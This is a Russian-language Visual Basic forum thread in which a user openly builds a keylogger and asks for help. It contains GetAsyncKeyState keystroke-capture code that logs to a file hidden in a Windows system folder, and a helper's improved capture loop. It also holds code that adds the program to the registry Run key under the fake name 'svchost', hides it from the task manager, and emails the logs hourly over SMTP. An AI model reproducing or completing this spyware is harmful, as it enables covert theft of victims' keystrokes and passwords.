Visual Basic, .NET, ASP, VBScript
 

   
   
     

Форум - Общий форум

Страница: 1 |

 

  Вопрос: Getasynckeystate Добавлено: 10.05.14 16:56  

Автор вопроса:  Petr
Добрый день! Как вы понили с название темы программа для захвата клавиш одним словом кейлоггер. Вот часть кода
Private Sub Timer1_Timer()
  keystate = Getasynckeystate(vbKeyA)
  If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "A" + ""
     End If
  keystate = Getasynckeystate(vbKeyB)
  If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "B" + ""
     End If и т.д

Private Sub Timer2_Timer()
Open "C:\WINDOWS\Cursors\test.txt" For Append As #1
Print #1, Text2.Text
Close #1
Text2.Text = ""
End Sub

Он работает но не так как хотелось бы. Во первых когда идет запись текстовому файлу то слова разделены т.е бывает так два или один буква на в верхнем строчке а другая часть в нижнем строчке, не в одну строчку. Во вторых когда нажимаю пробел то текстовом файле словах нету пробела все слитно. И самая главная все буквы пишутся большими строчными буквами хотя я пишу без нажатия шифта да понимаю нужно еще добавит пару кодов. Пожалуйста помогите с дополнительными кодами.

Ответить

  Ответы Всего ответов: 6  

Номер ответа: 1
Автор ответа:
 AWP



ICQ: 345685652 

Вопросов: 96
Ответов: 1212
 Web-сайт: xawp.narod.ru
 Профиль | | #1
Добавлено: 10.05.14 18:54
Getasynckeystate Всегда возвращает uppercase клавишь. нажатие Capslock, Shift и текущую раскладки придется отдельно мониторить.
Каждый раз, когда ты обращаешься к Getasynckeystate ты получаешь текущее состояние клавиши. Повторы клавиш из-за того, что не запоминаешь предыдущее состояние.

И почемубы не проверять по таблице и писать результат в переменную типа String?

Ну это грубо говоря.
  1. Public ktlb as String
  2. Public oState(255) as byte
  3. for n = 65 to 90
  4.     if Getasynckeystate(n) then
  5.         if oState(n)=0 then
  6.             ktlb = ktlb & chr$(n)
  7.         end if
  8.         oState(n)=1
  9.     else
  10.         oState(n)=0
  11.     end if
  12. next


А сохранять
  1. open filename for binary as #1
  2.     put #1,1,ktlb
  3. close #1

Ответить

Номер ответа: 2
Автор ответа:
 Petr



Вопросов: 45
Ответов: 58
 Профиль | | #2 Добавлено: 15.05.14 20:17
AWP можно по подробнее для начинающих. Где будут хранится логи?

Ответить

Номер ответа: 3
Автор ответа:
 AWP



ICQ: 345685652 

Вопросов: 96
Ответов: 1212
 Web-сайт: xawp.narod.ru
 Профиль | | #3
Добавлено: 16.05.14 12:39
Petr
filename - вроде как имя файла

Ответить

Номер ответа: 4
Автор ответа:
 Petr



Вопросов: 45
Ответов: 58
 Профиль | | #4 Добавлено: 19.05.14 04:22
AWP можете врубит аску и там я бы мог задать несколько вопросов пожалуйста.

Ответить

Номер ответа: 5
Автор ответа:
 Petr



Вопросов: 45
Ответов: 58
 Профиль | | #5 Добавлено: 19.05.14 04:28
И еще один вопрос касающиеся этой темы. Как можно отправить отчет каждый 30 минут или час. Я сам попробовал но почему то не работает этот код:
  1. Dim s As Integer
  2.  
  3. Private Sub Form_load()
  4.     Set x = CreateObject("Wscript.Shell")
  5.     
  6.     x.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\svchost", "C:\windows\system\svchost.exe" ' записываем в автозагрузку
  7.     App.TaskVisible = False ' скрываем в диспетчере задач
  8.     s = 0
  9. End Sub
  10.  
  11. Sub send_message()
  12. Dim o_Mess As Object, v_Conf As String
  13. Set o_Mess = CreateObject("CDO.Message")
  14. v_Conf = "http://schemas.microsoft.com/cdo/configuration/"
  15. With o_Mess
  16.     .To = ""         'Кому отправить
  17.     .From = ""       'От кого
  18.     .Subject = ""    'Тема
  19.     .TextBody = " "   'Текст
  20. With .Configuration.Fields
  21.     .Item(v_Conf & "sendusing") = 2
  22.     .Item(v_Conf & "smtpserver") = "smtp.mail.ru"
  23.     .Item(v_Conf & "smtpauthenticate") = 1
  24.     .Item(v_Conf & "sendusername") = "" 'От кого
  25.     .Item(v_Conf & "sendpassword") = "" 'Пароль от кого отправляется письмо
  26.     .Item(v_Conf & "smtpserverport") = 25
  27.     .Item(v_Conf & "smtpusessl") = False
  28.     .Item(v_Conf & "smtpconnectiontimeout") = 60
  29.     .Update
  30. End With
  31.     .send
  32. End With
  33. End Sub
  34.  
  35.  
  36. Private Sub Timer1_Timer()
  37. ' отсчёты приходят каждый час
  38.     s = s + 1
  39.     If s = 60 Then
  40.         s = 0
  41.         Call send_message
  42.     End If
  43. End Sub

Ответить

Номер ответа: 6
Автор ответа:
 AWP



ICQ: 345685652 

Вопросов: 96
Ответов: 1212
 Web-сайт: xawp.narod.ru
 Профиль | | #6
Добавлено: 20.05.14 18:01
Petr Аську не запускал лет 10.
Я не знаю как работает CDO.Message поэтому не могу сказать. А интервал у таймера какой стоит?

Ответить

Страница: 1 |

Поиск по форуму





© Copyright 2002-2011 VBNet.RU | Пишите нам